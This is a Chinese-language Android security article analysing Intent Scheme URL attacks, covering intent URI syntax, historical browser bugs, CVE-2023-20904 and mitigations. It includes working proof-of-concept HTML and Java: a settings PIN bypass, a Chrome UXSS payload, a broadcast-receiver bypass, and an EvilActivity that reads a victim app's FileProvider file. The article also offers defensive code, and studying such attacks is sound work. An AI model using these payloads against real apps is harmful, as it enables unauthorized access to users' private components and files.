Intent Scheme URL Attack攻击模式的分析
文章目录
- 前言
- 历史背景
- 1.1 简单实例
- 1.2 基础语法
- 1.3 漏洞案例
- 1.4 修复方案
- 安全风险
- 2.1 parseUri
- 2.2 CVE案例
- 2.3 利用技巧
- 2.4 安全建议
- 总结
前言
Intent Scheme URL Attack 这个概念经常出现在各种 Android 安全文章之中,但似乎没看到有哪篇文章能让我一次性看懂它是怎么回事的,本文来实际实践、分析下该攻击模式的原理和利用方法。
历史背景
Intent scheme url 是一种用于在 Web 页面中启动终端 app activity 的特殊 URL。在针对 Intent Scheme URL攻击大爆发之前,很多 Android 的浏览器都支持 Intent Scheme URL。Intent Scheme URL 的引入虽然带来了一定的便捷性,但从另外一方面看,给恶意攻击页面通过 intent-based 攻击终端上已安装应用提供了便利,尽管浏览器 app 已经采取了一定的安全策略来减少这一类风险,但显然是不够的。
2014 年 3 月,一篇关于 Intent Scheme URL 攻击的文章:Whitepaper – Attacking Android browsers via intent scheme URLs(中文版解析参见:Android安全之Intent Scheme Url攻击),详细介绍了相关的攻击手法,之后国内的漏洞收集平台上开始被这一类型漏洞刷屏。
1.1 简单实例
实际上我在前面的文章 Android 应用层组件安全测试基础实战技巧 讲 Deeplink 基础知识的时候就已经用到了 Intent Scheme URL,此处回顾并拓展一下,在我的示例程序 com.aaa.poc 中定义以下两个组件 LoginActivity 和 MainActivity(注意下文全篇都会以它两为示例展开验证):
<activityandroid:name=".activity.LoginActivity"android:exported="true"><intent-filter><action android:name="com.bwshen.intent.action_test" /><category android:name="android.intent.category.DEFAULT" />intent-filter><intent-filter><action android:name="android.intent.action.VIEW" /><category android:name="android.intent.category.DEFAULT" /><category android:name="android.intent.category.BROWSABLE" /><data android:scheme="rsdkdemo"android:host="rs.com"android:pathPrefix="/webview"/>intent-filter>
activity><activityandroid:name=".MainActivity"android:exported="true"><intent-filter><action android:name="android.intent.action.MAIN" /><category android:name="android.intent.category.LAUNCHER" />intent-filter><intent-filter><action android:name="android.intent.action.VIEW" /><category android:name="android.intent.category.DEFAULT" /><category android:name="android.intent.category.BROWSABLE" /><data android:scheme="rsdkdemo"android:host="rs.com"android:pathPrefix="/main"/>intent-filter>
activity>
上述添加的标签包含以下属性:
| 属性 | 作用 |
|---|---|
| action 动作 | 外部打开必须配置成ACTION_VIEW,这样外部的打开指令才能到达 |
| category 范畴 | (1)必须包含 DEFAULT,这个 category 允许你的 Activity 可以接收隐式 Intent,如果没有配置这个,Activity 只能通过指定应用程序容器名称打开; (2)必须包含 BROWSABLE,这个 category 允许你的 intent-filter 可以在 Web 浏览器中访问,如果没有配置这个,点击Web浏览器中的 Deeplink 链接将无法解析并打开 Activity。 |
| data 数据 | 需要添加一个或者多个标签,每一个标签都描述了什么样格式的 URI 将会分派到 Activity 进行处理,同时每一个标签至少且必须包含一个android:scheme属性。 |
Deeplink 的链接类型一般是 scheme://host/path?params 样式,上述链接即为 rsdkdemo://rs.com/weview 。
经过本人在 Android 12 的实体机的实践,以下代码均能有效调用上述定义的两个组件 LoginActivity 和 MainActivity:
DOCTYPE html>
<html>
<head><title>MyPoctitle>
head>
<body><a href="intent:smsto:10000#Intent;action=android.intent.action.SENDTO;end">Send message!a><br><br><a href="rsdkdemo://rs.com/webview#Intent;"> Deeplink Test a><br><br><a href="intent://rs.com/main#Intent;scheme=rsdkdemo;end"> Deeplink Test2 a><br><br><a href="rsdkdemo://rs.com/main#Intent;component=com.aaa.poc/.activity.LoginActivity;data=rsdkdemo://rs.com/webview;action=com.bwshen.intent.action_test;end"> Deeplink Test3 a><br><br><a href="intent:rsdkdemo://rs.com/main#Intent;component=com.aaa.poc/.MainActivity;action=android.intent.action.VIEW;end"> Deeplink Test4 a><br><br><input type="button" value="Click here to open Deeplink" onclick="javascrtpt:window.location.href='rsdkdemo://rs.com/webview?referer=Deeplink_Test'"><br><br><a href="android-app://com.aaa.poc/rsdkdemo/rs.com/main"> android-app Test1 a><br><br><a href="android-app://com.aaa.poc/rsdkdemo/rs.com/main#Intent;action=android.intent.action.VIEW;end"> android-app Test2 a><br><br>
body>
html>
将上述 html 文件放在 pc 机上并通过 python 搭建建议 http 局域网服务:

在安装了上述 com.aaa.poc 应用的手机 Chrome 浏览器上打开链接,效果如下:

1)第一条 Intent Scheme URL 可以打开短信应用向 10000 发短信:
<a href="intent:smsto:10000#Intent;action=android.intent.action.SENDTO;end">Send message!a>

2)请注意对于第 2-3 条 Intent Scheme URL,打开的都是 MainActivity:
<a href="rsdkdemo://rs.com/main#Intent;component=com.aaa.poc/.activity.LoginActivity;data=rsdkdemo://rs.com/webview;action=com.bwshen.intent.action_test;end"> Deeplink Test3 a><br><br>
<a href="intent:rsdkdemo://rs.com/main#Intent;component=com.aaa.poc/.MainActivity;action=android.intent.action.VIEW;end"> Deeplink Test4 a><br><br>
可以得出的结论是:
- 如果使用了
rsdkdemo://rs.com/main#Intent;,后面的 component、action 等配置在系统解析并转换成具体组件信息时会直接被系统抛弃,所以配置成什么值已经毫无意义,系统只会根据 data=rsdkdemo://rs.com/main;匹配合适的组件; - 如果使用了
intent:rsdkdemo://rs.com/main#Intent;,后续的 component、action 等配置在系统解析并转换成具体组件信息时 不会 被系统抛弃,必须填写跟 data=rsdkdemo://rs.com/main;匹配的组件相应的正确 component、action,否则系统会找不到对应正确的组件。
1.2 基础语法
回过头来看下上述 Intent Scheme URL 是怎么构造出来的,它们具有自己的语法格式。
查看
Intent.parseUri(String uri, int flags)的源码可知,第二个参数 flags 有三种类型:Intent.URI_INTENT_SCHEME、Intent.URI_ANDROID_APP_SCHEME和URI_ALLOW_UNSAFE,前两种表示 Intent 协议可解析的两种格式 “intent” 和 “android-app”。
1、Intent:// 格式

示例代码1:
<script>location.href = "intent:mydata#Intent;action=myaction;type=text/plain;end"script>
对应的等价 Java 代码:
Intent intent = new Intent("myaction");
intent.setData(Uri.parse("mydata"));
intent.setType("text/plain");
再看一个例子:
intent://foobar/#Intent;action=myaction;type=text/plain;S.xyz=123;i.abc=678;end
上面的语句,等价于如下 Java 代码:
Intent intent = new Intent("myaction");
intent.setData(Uri.pase("//foobar/"));
intent.putExtra("xyz", "123");
intent.putExtra("abc", 678);
其中 S代表 String 类型的 key-value,i 代表 int 类型的 key-value。 源码中提供了 Intent.parseUri(String uri) 静态方法,通过这个方法可以直接解析uri,如果想更一步了解其中的语法,可以查看官方源码。
2、android-app:// 格式

直接上官网提供的示例:

1.3 漏洞案例
如果浏览器支持 Intent Scheme URL 语法,一般会分三个步骤进行处理:
- 利用
Intent.parseUri解析 uri,获取原始的 intent 对象; - 对 intent 对象设置过滤规则,不同的浏览器有不同的策略,后面会详细介绍;
- 通过
Context.startActivityIfNeeded或者Context.startActivity发送intent; 其中步骤 2 起关键作用,过滤规则缺失或者存在缺陷都会导致 Intent Scheme URL 攻击。
主要有两种攻击场景:
- 类型1:浏览器攻击
因为 intent 是浏览器依据 url 生成并以浏览器自己的身份发送的,因此攻击者恶意页面中的 intent scheme url 不仅可以调起导出组件,还可以调起私有组件。 - 类型2:终端上安装的任意APP
intent-based 攻击一般是通过终端上安装的恶意 app 来实现的,但通过浏览器加载包含特定 intent scheme url 的恶意页面,可以实现对终端上安装的任意 app 远程 intent-based 攻击的效果。在 2013 年东京的 Pwn2Own 上比赛上,次攻击方式被应用于攻陷三星 Samsung Galaxy S4。
以下是来自乌云平台的历史漏洞案例:
1、设置绕过 Pin 码
<a href="intent:#Intent;action=android.settings.SETTINGS;S.:android:show_fragment=com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment;B.confirm_credentials=false;end">设置绕过Pin码(android 3.0-4.3)
a>

2、QQ 浏览器崩溃
<a href="intent:#Intent;component=com.tencent.mtt/com.tencent.mtt.debug.DbgMemWatch;end">qq浏览器崩溃
a>

3、Chrome for Android UXSS (Universal XSS)
Chrome 的 UXSS 漏洞利用相对复杂,这里先介绍一下 Intent Selector。Intent Selector 机制提供一种 main intent 不匹配的情况下可以设置替补的方案。如下的 intent scheme url:
intent:#Intent;S.XXX=123;SEL;component=com.android.chrome/.xyz;end
其中 “SEL” 是 selector intent 的标识。在 chrome 中包含以下代码:
Intent intent = Intent.parseUri(uri);
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
context.startActivityIfNeeded(intent, -1);
第二行添加了 BROWSABLE category (目标 Activity 允许本身通过 Web 浏览器启动,以显示链接引用的数据,以此过滤/防止一些不该被调起的组件被调起),第三行将组建设置为 null,用以抵御 intent-based 攻击,但如果使用 selector intent 可以完美的 bypass 以上限制。
以下是 Android Chrome上的一个 UXSS 攻击的 poc:
<script>
// open target web page (http://victim.example.jp/) in WebAppActivity0
location.href = "intent:#Intent;S.webapp_url=http://victim.example.jp;l.webapp_id=0;SEL;component=com.android.chrome/com.google.android.apps.chrome.webapps.WebappActivity0;end";
// a few seconds later, inject javascript payload into target web page
setTimeout(function() {location.href = "intent:#Intent;S.webapp_url=javascript:(malicious javascript code);l.webapp_id=1;SEL;component=com.android.chrome/com.google.android.apps.chrome.webapps.WebappActivity0;end";}, 2000);
script>
1.4 修复方案
【源于谷歌】确保 WebView 不能发送任意 Intent:针对通过 Intent.parseUri 构建的 Intent,应用可以使用以下代码限制此类 Intent 只能以隐式 Intent 的形式发送给具有 BROWSABLE Intent 过滤器的组件:
// convert intent scheme URL to intent object
Intent intent = Intent.parseUri(uri);
// forbid launching activities without BROWSABLE category
intent.addCategory("android.intent.category.BROWSABLE");
// forbid explicit call
intent.setComponent(null);
// forbid intent with selector intent
intent.setSelector(null);
// start the activity by the intent
context.startActivityIfNeeded(intent, -1);
安全风险
以上内容多数来源于其他历史博文和好多年前的历史漏洞,下面来实践、证明下 Intent Scheme URL 当下存在的安全风险。
2.1 parseUri
前面提到浏览器会利用 Intent.parseUri 解析 Intent Scheme URL 所代表的 uri,获取原始的 intent 对象,最后通过 startActivity 相关函数打开对应符合条件系统组件。
【Intent.parseUri】
来看下 Android API 对 Intent.parseUri 的解释:

可以看到,该 API 就是用于从一个 Uri 中转换、解析出一个 Intent 对象。
我们来实践体验下Intent.parseUri 的使用方法,以下 Java 代码可以成功调用前文定义的 LoginActivity 组件:
try {Uri uri = Uri.parse("rsdkdemo://rs.com/webview#Intent;");Intent nextIntent = Intent.parseUri(String.valueOf(uri),Intent.URI_INTENT_SCHEME);nextIntent.setComponent(null);nextIntent.setSelector(null);Log.e(TAG, "nextIntent: " + nextIntent.toString());startActivity(nextIntent);
}catch (Exception e){e.printStackTrace();
}
日志信息如下:

【注意】此处我故意添加
setComponent(null)、setSelector(null)等上文提到的防御 Intent Scheme URL Attack 的函数,但是可以看到在此场景并未生效,因为一个具体的 Uri data 足以指定一个具体的 Android 组件!
【Intent.toUri】
细心的你一定会发现,实际上Intent.parseUri的官方 API 注释里还提到一个函数 toUri。没错,它正是跟Intent.parseUri功能相反的 API 函数,用于将一个 Intent 对象转换成一个 Uri 对象,官方 API 注释如下:

比如以下代码即可将一个 Intent 转换成一个 Uri,最后通过 parseUri 将它转换回 Intent 并拉起:
try {Intent intent = new Intent();intent.setPackage(getPackageName());intent.setData(Uri.parse("rsdkdemo://rs.com/webview"));Uri uri = Uri.parse(intent.toUri(Intent.URI_INTENT_SCHEME));Log.e(TAG, "Get: " + uri.toString());startActivity(Intent.parseUri(String.valueOf(uri),Intent.URI_INTENT_SCHEME));
}catch (Exception e){e.printStackTrace();
}
成功转换成的 Uri 并拉起对应的 LoginActivity 组件,日志信息如下:
【安全风险】
介绍完 Intent.parseUri 和 Intent.toUri,接下来请仔细阅读以下 广播接收器中的示例代码,判断它存在什么风险?
@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);//注册动态广播接收器IntentFilter intentFilter=new IntentFilter();intentFilter.addAction("com.bwshen.intent.action_test");MyBroadcastReceiver myBroadcastReceiver =new MyBroadcastReceiver();registerReceiver(myBroadcastReceiver,intentFilter);}class MyBroadcastReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {try {Uri uri = intent.getParcelableExtra("uri");Intent nextIntent = Intent.parseUri(String.valueOf(uri),Intent.URI_INTENT_SCHEME);nextIntent.setComponent(null);nextIntent.setSelector(null);Log.e(TAG, "Get: " + nextIntent);startActivity(nextIntent);} catch (Exception e) {throw new RuntimeException(e);}}}
上述代码从外部传递的 Intent 对象中 getData 取出一个 Uri,并调用 parseUri 将其转换成一个 nextIntent 对象后 startActivity(nextIntent)。乍一看没什么风险,通过 setComponent(null)、setSelector(null)也做了过滤。
但是,前文已经提到过了,Intent 对象通过 setData 函数足以指定到具体的 Android 组件!比如下面的代码,即可触发广播接收器、让其进一步拉起 LoginActivity:
public void attack(View view){Intent intent = new Intent("com.bwshen.intent.action_test");Uri evilUri = Uri.parse("rsdkdemo://rs.com/webview");intent.putExtra("uri",evilUri);sendBroadcast(intent);
}
广播接收器最终解析到的 Intent 对象如下:

这里仅仅演示了如何绕过校验拉起受害应用内部组件 LoginActivity,实际上风险远不止如此,下文会继续讲。
2.2 CVE案例
来看一个 Android CVE 漏洞案例:CVE-2023-20904。

这是 2023 年 1 月 Android 安全公告发布的 Settings 应用中的一个 LaunchAnyWhere 高危漏洞。
来看看 Google 给该漏洞的 补丁代码 添加了啥:

转成中文就是“从 2-pane 深层链接 Intent 中删除 Intent 选择器,以防止通过 Selector 进行任意 Intent 注入”。具体补丁代码:

查看完整的该函数代码:

已经可以大致看出来这其中的故事了:getTrampolineIntent 函数中将 detailIntent 变量经过 toUri 函数转换成 Uri 对象后,作为 trampolineIntent 变量的一个附加值(DEEP_LINK_INTENT_URI)返回给调用者,且最终 Settings 应用会调用到 startActivity(Intent.parseUri(DEEP_LINK_INTENT_URI,Intent.URI_INTENT_SCHEME);),从而导致 LaunchAnyWhere 漏洞。
【语法补充】
补丁通过 setSelector(null) 来防止嵌套恶意 Intent,来看下 setSelector 的函数原型:

举个例子,以下代码可以拉起前文我们定义的 LoginActivity:
public void attack(View view){Intent intent = new Intent();Intent selector = new Intent().setData(Uri.parse("rsdkdemo://rs.com/webview"));intent.setSelector(selector);startActivity(intent);
}
而 setSelector 函数对应的函数是 getSelector,其返回的是一个 Intent 对象:

2.3 利用技巧
假设 com.aaa.poc 的 MainActivity 组件有以下 Webview 代码(假设 poc2.html 由外部传入且可控):
@Override
protected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);WebView webView = findViewById(R.id.web_view);webView.getSettings().setJavaScriptEnabled(true);//webView.loadUrl("https://www.baidu.com");//http请求需在AndroidMainfest配置webView.loadUrl("http://192.168.0.119:8080/poc2.html");webView.setWebViewClient(new WebViewClient(){@Overridepublic boolean shouldOverrideUrlLoading(WebView view, String url) {try {Intent nextIntent = Intent.parseUri(url,Intent.URI_INTENT_SCHEME);nextIntent.setComponent(null);nextIntent.setSelector(null);Log.e(TAG, "shouldOverrideUrlLoading: " + nextIntent);startActivity(nextIntent);} catch (Exception e) {e.printStackTrace();}view.loadUrl(url);return true;}});
}
同时具备以下 FileProvider 组件:
<providerandroid:name="androidx.core.content.FileProvider"android:authorities="com.my.poc.fileprovider"android:exported="false"android:grantUriPermissions="true"><meta-dataandroid:name="android.support.FILE_PROVIDER_PATHS"android:resource="@xml/file_paths" />
provider>
那么攻击程序可以定义如下 EvilActivity:
<activity android:name=".EvilActivity" android:exported="true"><intent-filter><action android:name="android.intent.action.SEND" /><category android:name="android.intent.category.DEFAULT" /><category android:name="android.intent.category.BROWSABLE" /><data android:scheme="content"android:host="com.my.poc.fileprovider"android:path="/files/test.txt"android:mimeType="text/plain"/>intent-filter>
activity>
并在 EvilActivity 的 oncreate 函数创建以下代码:
@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);TextView textView = findViewById(R.id.text);Intent intent = getIntent();if (intent != null && intent.getData() != null) {boolean hasGranted = checkUriPermission(intent.getData(), Process.myPid(), Process.myUid(), Intent.FLAG_GRANT_READ_URI_PERMISSION)== PackageManager.PERMISSION_GRANTED;Toast.makeText(this, "Successfully Granted: " + hasGranted, Toast.LENGTH_LONG).show();try {ContentResolver cr = getContentResolver();FileInputStream in = (FileInputStream) cr.openInputStream(intent.getData());byte[] buff = new byte[in.available()];in.read(buff);textView.setText(new String(buff));Log.e(TAG, "Get Data: " + new String(buff));} catch (Exception e) {e.printStackTrace();}}
最后构造让 com.aaa.poc 加载的 poc2.html 为以下代码:
DOCTYPE html>
<html>
head><title>MyPoctitle>
head>
<body><p id="content">This is Evil!p><script> document.location.href='intent:content://com.my.poc.fileprovider/files/test.txt#Intent;action=android.intent.action.SEND;S.android.intent.extra.TEXT=hello;end';script>
body>
html>
受害应用 com.aaa.poc 的执行效果如下所示,html 中的 Intent Scheme URL Attack 被自动解析传递到 shouldOverrideUrlLoading 函数的 url 参数之中:


被拉起的攻击程序则成功获得受害应用的沙箱路径及文件的读权限:

【Qusetion】
上述过程在 poc2.html 构造的 Intent Scheme URL 中,并未用到 addFlags(1) 或 intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION) 这类授予 data uri 读取权限的 API,为什么攻击程序在接受 action_SEND 传递过来的 data 后能获得其读取权限?
【Answer】
Android 默认给通过 action_SEND 且intent.putExtra(Intent.EXTRA_TEXT, "123456");文本格式分享传递出去的 data 赋予接收方读取权限。这也就成为我们在进行 Intent Scheme URL Attack攻击时可以用的一个绕过安全防护的小技巧。
2.4 安全建议
确保 WebView 不能发送任意 Intent:针对通过 Intent.parseUri 构建的 Intent,应用可以使用以下代码限制此类 Intent 只能以隐式 Intent 的形式发送给具有 BROWSABLE Intent 过滤器的组件:
// convert intent scheme URL to intent object
Intent intent = Intent.parseUri(uri);
// forbid launching activities without BROWSABLE category
intent.addCategory("android.intent.category.BROWSABLE");
// forbid explicit call
intent.setComponent(null);
// forbid intent with selector intent
intent.setSelector(null);
// start the activity by the intent
context.startActivityIfNeeded(intent, -1);
在此基础上,结合具体业务场景,在有必要的情况下,进一步添加 setData(null)!
总结
本文分析了 Intent Scheme URL Attack 的历史背景和漏洞,并进一步解释了相关 API 的使用方法、近年 CVE 漏洞和当下的安全风险、利用技巧,并最后给出相应的安全建议。总而言之,开发人员在使用 parseUri 相关函数获取 Intent 对象时,需要谨慎过滤再使用!
本文参考文章:
- 关于 Android任意URL跳转的这些危害你知道吗;
- Intent scheme URL attack——小米工程师瘦蛟舞;
- Android安全之Intent Scheme Url攻击——YAQ御安全;
- 针对 Intent 配置易被盗用安全漏洞的修复方法——谷歌官方;
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
